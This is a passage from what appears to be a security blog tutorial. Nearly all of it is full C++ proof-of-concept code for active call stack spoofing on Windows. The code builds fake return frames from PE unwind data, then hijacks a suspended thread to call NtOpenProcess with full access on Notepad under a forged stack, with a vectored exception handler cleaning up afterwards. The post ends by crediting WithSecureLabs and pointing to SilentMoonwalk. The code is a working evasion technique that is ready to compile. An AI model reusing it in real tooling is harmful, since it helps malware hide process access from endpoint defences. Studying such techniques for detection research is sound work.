UWOP_PUSH_MACHFRAME /* info == 0: no error-code, 1: error-code */
} UNWIND_CODE_OPS;
std::vector<StackFrame> myCallStack = {
StackFrame(L"C:\\Windows\\SYSTEM32\\KernelBase.dll", 0x229f3, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\kernel32.dll", 0x2e957, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\ntdll.dll", 0xaad6c, 0, FALSE),
};
NTSTATUS GetImageBase(const StackFrame& stackFrame){
NTSTATUS status = STATUS_SUCCESS;
HMODULE tmpImageBase = 0;
// [0] Check if image base has already been resolved.
if (imageBaseMap.count(stackFrame.targetDll))
{
return status;
}
// [1] Check if current frame contains a non standard dll and load if so
if (stackFrame.requiresLoadLibrary)
{
tmpImageBase = LoadLibrary(stackFrame.targetDll.c_str());
if (!tmpImageBase)
{
status = STATUS_DLL_NOT_FOUND;
return status;
}
}
// [2] If we haven't already recorded the image base capture it now
if (!tmpImageBase)
{
tmpImageBase = GetModuleHandle(stackFrame.targetDll.c_str());
if (!tmpImageBase)
{
status = STATUS_DLL_NOT_FOUND;
return status;
}
}
// [3] Add to image base map to avoid superfluous recalculating
imageBaseMap.insert({ stackFrame.targetDll, tmpImageBase });
return status;
}
int getPIDbyProcName(const string& procName) {
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32) != FALSE) {
wstring wideProcName(procName.begin(), procName.end());
do {
if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe32) != FALSE);
}
CloseHandle(hSnap);
return pid;
}
// Uses the offset within the StackFrame structure to calculate the return address for fake frame.
NTSTATUS CalculateReturnAddress(StackFrame& stackFrame){
NTSTATUS status = STATUS_SUCCESS;
try {
const PVOID targetImageBaseAddress = imageBaseMap.at(stackFrame.targetDll);
if (!targetImageBaseAddress) {
status = STATUS_DLL_NOT_FOUND;
return STATUS_SUCCESS;
}
stackFrame.returnAddress = (PCHAR)targetImageBaseAddress + stackFrame.offset;
return status;
}
catch (const std::out_of_range&){
std::wcout << L"Dll \"" << stackFrame.targetDll.c_str() << L"\" not found" << std::endl;
status = STATUS_DLL_NOT_FOUND;
return STATUS_SUCCESS;
}
}
//
// Calculates the total stack space used by the fake stack frame. Uses
// a minimal implementation of RtlVirtualUnwind to parse the unwind codes
// for target function and add up total stack size. Largely based on:
// https://github.com/hzqst/unicorn_pe/blob/master/unicorn_pe/except.cpp#L773
//
NTSTATUS CalculateFunctionStackSize(PRUNTIME_FUNCTION pRuntimeFunction, const DWORD64 ImageBase, StackFrame& stackFrame){
NTSTATUS status = STATUS_SUCCESS;
PUNWIND_INFO pUnwindInfo = NULL;
ULONG unwindOperation = 0;
ULONG operationInfo = 0;
ULONG index = 0;
ULONG frameOffset = 0;
// [0] Sanity check incoming pointer.
if (!pRuntimeFunction)
{
status = STATUS_INVALID_PARAMETER;
goto Cleanup;
}
// [1] Loop over unwind info.
// NB As this is a PoC, it does not handle every unwind operation, but
// rather the minimum set required to successfully mimic the default
// call stacks included.
pUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + ImageBase);
while (index < pUnwindInfo->CountOfCodes)
{
unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp;
operationInfo = pUnwindInfo->UnwindCode[index].OpInfo;
// [2] Loop over unwind codes and calculate
// total stack space used by target function.
switch (unwindOperation) {
case UWOP_PUSH_NONVOL:
// UWOP_PUSH_NONVOL is 8 bytes.
stackFrame.totalStackSize += 8;
// Record if it pushes rbp as
// this is important for UWOP_SET_FPREG.
if (RBP_OP_INFO == operationInfo)
{
stackFrame.pushRbp = true;
// Record when rbp is pushed to stack.
stackFrame.countOfCodes = pUnwindInfo->CountOfCodes;
stackFrame.pushRbpIndex = index + 1;
}
break;
case UWOP_SAVE_NONVOL:
//UWOP_SAVE_NONVOL doesn't contribute to stack size
// but you do need to increment index.
index += 1;
break;
case UWOP_ALLOC_SMALL:
//Alloc size is op info field * 8 + 8.
stackFrame.totalStackSize += ((operationInfo * 8) + 8);
break;
case UWOP_ALLOC_LARGE:
// Alloc large is either:
// 1) If op info == 0 then size of alloc / 8
// is in the next slot (i.e. index += 1).
// 2) If op info == 1 then size is in next
// two slots.
index += 1;
frameOffset = pUnwindInfo->UnwindCode[index].FrameOffset;
if (operationInfo == 0)
{
frameOffset *= 8;
}
else
{
index += 1;
frameOffset += (pUnwindInfo->UnwindCode[index].FrameOffset << 16);
}
stackFrame.totalStackSize += frameOffset;
break;
case UWOP_SET_FPREG:
// This sets rsp == rbp (mov rsp,rbp), so we need to ensure
// that rbp is the expected value (in the frame above) when
// it comes to spoof this frame in order to ensure the
// call stack is correctly unwound.
stackFrame.setsFramePointer = true;
break;
default:
std::cout << "[-] Error: Unsupported Unwind Op Code\n";
status = STATUS_ASSERTION_FAILURE;
break;
}
index += 1;
}
// If chained unwind information is present then we need to also recursively parse this and add to total stack size.
if (0 != (pUnwindInfo->Flags & UNW_FLAG_CHAININFO)){
index = pUnwindInfo->CountOfCodes;
if (0 != (index & 1))
{
index += 1;
}
pRuntimeFunction = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[index]);
return CalculateFunctionStackSize(pRuntimeFunction, ImageBase, stackFrame);
}
// Add the size of the return address (8 bytes)
stackFrame.totalStackSize += 8;
Cleanup:
return status;
}
NTSTATUS CalculateFunctionStackSizeWrapper(StackFrame& stackFrame){
NTSTATUS status = STATUS_SUCCESS;
PRUNTIME_FUNCTION pRuntimeFunction = NULL;
DWORD64 ImageBase = 0;
PUNWIND_HISTORY_TABLE pHistoryTable = NULL;
// [0] Sanity check return address
if (!stackFrame.returnAddress)
{
status = STATUS_INVALID_PARAMETER;
return status;
}
// [1] Locate RUNTIME_FUNCTION for given function
pRuntimeFunction = RtlLookupFunctionEntry(
(DWORD64)stackFrame.returnAddress,
&ImageBase,
pHistoryTable);
if (NULL == pRuntimeFunction){
status = STATUS_ASSERTION_FAILURE;
return status;
}
// [2] Recursively calculate the total stack size for the function we are "returning" to
status = CalculateFunctionStackSize(pRuntimeFunction, ImageBase, stackFrame);
return status;
}
NTSTATUS InitialiseSpoofedCallstack(std::vector<StackFrame>& targetCallStack){
NTSTATUS status = STATUS_SUCCESS;
for (auto stackFrame = targetCallStack.begin(); stackFrame != targetCallStack.end(); stackFrame++)
{
// [1] Get image base for current stack frame.
status = GetImageBase(*stackFrame);
if (!NT_SUCCESS(status))
{
std::cout << "[-] Error: Failed to get image base\n";
goto Cleanup;
}
// [2] Calculate ret address for current stack frame.
status = CalculateReturnAddress(*stackFrame);
if (!NT_SUCCESS(status))
{
std::cout << "[-] Error: Failed to caluclate ret address\n";
goto Cleanup;
}
// [3] Calculate the total stack size for ret function.
status = CalculateFunctionStackSizeWrapper(*stackFrame);
if (!NT_SUCCESS(status))
{
std::cout << "[-] Error: Failed to caluclate total stack size\n";
goto Cleanup;
}
}
Cleanup:
return status;
}
void PushToStack(CONTEXT& Context, const ULONG64 value){
Context.Rsp -= 0x8;
PULONG64 AddressToWrite = (PULONG64)(Context.Rsp);
*AddressToWrite = value;
}
//
// Initialises the spoofed thread state before it begins
// to execute by building a fake call stack via modifying
// rsp and appropriate stack data.
//
void InitialiseFakeThreadState(CONTEXT& context, const std::vector<StackFrame>& targetCallStack){
ULONG64 childSp = 0;
BOOL bPreviousFrameSetUWOP_SET_FPREG = false;
// [1] As an extra sanity check explicitly clear
// the last RET address to stop any further unwinding.
PushToStack(context, 0);
// [2] Loop through target call stack *backwards*
// and modify the stack so it resembles the fake
// call stack e.g. essentially making the top of
// the fake stack look like the diagram below:
// | |
// ----------------
// | RET ADDRESS |
// ----------------
// | |
// | Unwind |
// | Stack |
// | Size |
// | |
// ----------------
// | RET ADDRESS |
// ----------------
// | |
// | Unwind |
// | Stack |
// | Size |
// | |
// ----------------
// | RET ADDRESS |
// ---------------- <--- RSP when NtOpenProcess is called
//
for (auto stackFrame = targetCallStack.rbegin(); stackFrame != targetCallStack.rend(); ++stackFrame)
{
// [2.1] Check if the last frame set UWOP_SET_FPREG.
// If the previous frame uses the UWOP_SET_FPREG
// op, it will reset the stack pointer to rbp.
// Therefore, we need to find the next function in
// the chain which pushes rbp and make sure it writes
// the correct value to the stack so it is propagated
// to the frame after that needs it (otherwise stackwalk
// will fail). The required value is the childSP
// of the function that used UWOP_SET_FPREG (i.e. the
// value of RSP after it is done adjusting the stack and
// before it pushes its RET address).
if (bPreviousFrameSetUWOP_SET_FPREG && stackFrame->pushRbp)
{
// [2.2] Check when RBP was pushed to the stack in function
// prologue. UWOP_PUSH_NONVOls will always be last:
// "Because of the constraints on epilogs, UWOP_PUSH_NONVOL
// unwind codes must appear first in the prolog and
// correspondingly, last in the unwind code array."
// Hence, subtract the push rbp code index from the
// total count to work out when it is pushed onto stack.
// E.g. diff will be 1 below, so rsp -= 0x8 then write childSP:
// RPCRT4!LrpcIoComplete:
// 00007ffd`b342b480 4053 push rbx
// 00007ffd`b342b482 55 push rbp
// 00007ffd`b342b483 56 push rsi
// If diff == 0, rbp is pushed first etc.
auto diff = stackFrame->countOfCodes - stackFrame->pushRbpIndex;
auto tmpStackSizeCounter = 0;
for (ULONG i = 0; i < diff; i++)
{
// e.g. push rbx
PushToStack(context, 0x0);
tmpStackSizeCounter += 0x8;
}
// push rbp
PushToStack(context, childSp);
// [2.3] Minus off the remaining function stack size
// and continue unwinding.
context.Rsp -= (stackFrame->totalStackSize - (tmpStackSizeCounter + 0x8));
PULONG64 fakeRetAddress = (PULONG64)(context.Rsp);
*fakeRetAddress = (ULONG64)stackFrame->returnAddress;
// [2.4] From my testing it seems you only need to get rbp
// right for the next available frame in the chain which pushes it.
// Hence, there can be a frame in between which does not push rbp.
// Ergo set this to false once you have resolved rbp for frame
// which needed it. This is pretty flimsy though so this assumption
// may break for other more complicated examples.
bPreviousFrameSetUWOP_SET_FPREG = false;
}
else
{
// [3] If normal frame, decrement total stack size
// and write RET address.
context.Rsp -= stackFrame->totalStackSize;
PULONG64 fakeRetAddress = (PULONG64)(context.Rsp);
*fakeRetAddress = (ULONG64)stackFrame->returnAddress;
}
// [4] Check if the current function sets frame pointer
// when unwinding e.g. mov rsp,rbp / UWOP_SET_FPREG
// and record its childSP.
if (stackFrame->setsFramePointer)
{
childSp = context.Rsp;
childSp += 0x8;
bPreviousFrameSetUWOP_SET_FPREG = true;
}
}
}
DWORD DummyFunction(LPVOID lpParam){
return 0;
}
//
// Handles the inevitable crash of the fake thread and redirects
// it to gracefully exit via RtlExitUserThread.
//
LONG CALLBACK VehCallback(PEXCEPTION_POINTERS ExceptionInfo)
{
ULONG exceptionCode = ExceptionInfo->ExceptionRecord->ExceptionCode;
// [0] If unrelated to us, keep searching.
//if (exceptionCode != STATUS_ACCESS_VIOLATION) return EXCEPTION_CONTINUE_SEARCH;
// Breakpoint just to inspect the call stack
if (exceptionCode == EXCEPTION_SINGLE_STEP) // 0x80000004
{
std::cout << "[*] Thread hit NtOpenProcess, inspect stack.\n";
std::cout << "[*] Press enter to continue...\n";
getchar();
ExceptionInfo->ContextRecord->Dr0 = 0;
ExceptionInfo->ContextRecord->Dr7 = 0;
return EXCEPTION_CONTINUE_EXECUTION;
}
// [1] Handle access violation error by gracefully exiting thread.
if (exceptionCode == STATUS_ACCESS_VIOLATION || exceptionCode == STATUS_STACK_BUFFER_OVERRUN)
{
std::cout << "[+] VEH Exception Handler called \n";
std::cout << "[+] Re-directing spoofed thread to RtlExitUserThread \n";
ExceptionInfo->ContextRecord->Rip = (DWORD64)GetProcAddress(GetModuleHandleA("ntdll"), "RtlExitUserThread");
ExceptionInfo->ContextRecord->Rcx = 0;
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_EXECUTION;
}
int main() {
cout << "SB41/33\n";
std::vector<StackFrame>& targetCallStack = myCallStack;
NTSTATUS status = InitialiseSpoofedCallstack(targetCallStack);
if (!NT_SUCCESS(status)) {
std::cout << "[-] Failed to initialise fake call stack\n";
return -1;
}
// 1. Crear suspended thread (DummyFunction as start address)
DWORD dwThreadId;
HANDLE hThread = CreateThread(NULL, MAX_STACK_SIZE, DummyFunction, 0, CREATE_SUSPENDED, &dwThreadId);
if (!hThread) {
std::cout << "[-] Failed to create suspended thread\n";
return -1;
}
// 2. Get thread context
CONTEXT context = {};
context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
BOOL ret = GetThreadContext(hThread, &context);
if (!ret) {
std::cout << "[-] Failed to get thread context\n";
return -1;
}
// 3. Write fake stack! InitialiseFakeThreadState()
InitialiseFakeThreadState(context, targetCallStack);
// 4. Set RIP poiting to syscall
/*
__kernel_entry NTSYSCALLAPI NTSTATUS NtOpenProcess(
[out] PHANDLE ProcessHandle,
[in] ACCESS_MASK DesiredAccess,
[in] POBJECT_ATTRIBUTES ObjectAttributes,
[in, optional] PCLIENT_ID ClientId
);
*/
int pidNotepad = getPIDbyProcName("Notepad.exe");
HANDLE hProcess = 0;
context.Rcx = (DWORD64)&hProcess;
context.Rdx = PROCESS_ALL_ACCESS;
OBJECT_ATTRIBUTES objectAttr;
InitializeObjectAttributes(&objectAttr, NULL, 0, NULL, NULL);
context.R8 = (DWORD64)&objectAttr;
CLIENT_ID clientId;
clientId.UniqueProcess = (HANDLE)pidNotepad;
clientId.UniqueThread = 0;
context.R9 = (DWORD64)&clientId;
// RIP
DWORD64 ntOpenProcessAddress = (DWORD64)GetProcAddress(GetModuleHandleA("ntdll"), "NtOpenProcess");
context.Rip = ntOpenProcessAddress;
context.Dr0 = ntOpenProcessAddress;
context.Dr7 = 0x1;
// 5. Set modifed context
ret = SetThreadContext(hThread, &context);
if (!ret){
std::cout << "[-] Failed to set thread context\n";
return -1;
}
// 6. Register VEH Handler to catch ACCESS VIOLATION error in return address
PVOID pHandler = NULL;
pHandler = AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)VehCallback);
if (!pHandler)
{
std::cout << "[-] Failed to add vectored exception handler\n";
return -1;
}
// 7. ResumeThread
std::cout << "[+] Resuming suspended thread...\n";
DWORD suspendCount = ResumeThread(hThread);
if (-1 == suspendCount)
{
std::cout << "[-] Failed to resume thread\n";
return -1;
}
cout << "GETCHAR" << endl;
getchar();
// Confirmation
if (!hProcess){
std::cout << "[-] Error: Failed to obtain handle to notepad\n";
return -1;
}
else{
std::cout << "[+] Successfully obtained handle to notepad with spoofed callstack: " << hProcess << "\n";
}
getchar();
return 0;
}Proof of Concept
Run the binary with Notepad open, then the hardware breakpoint fires and we can check the stack call:
And then we check for the notepad handle:
Conclusions
Active call stack spoofing is a meaningful step beyond the basic return address overwrite. The natural next step is SilentMoonwalk by klezVirus, which solves the hardcoded offset problem by generating the fake stack from live system observation
Full credit for this technique goes to the original authors at WithSecureLabs: github.com/WithSecureLabs/CallStackSpoofer
📌 Follow me: 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter | YouTube
S12.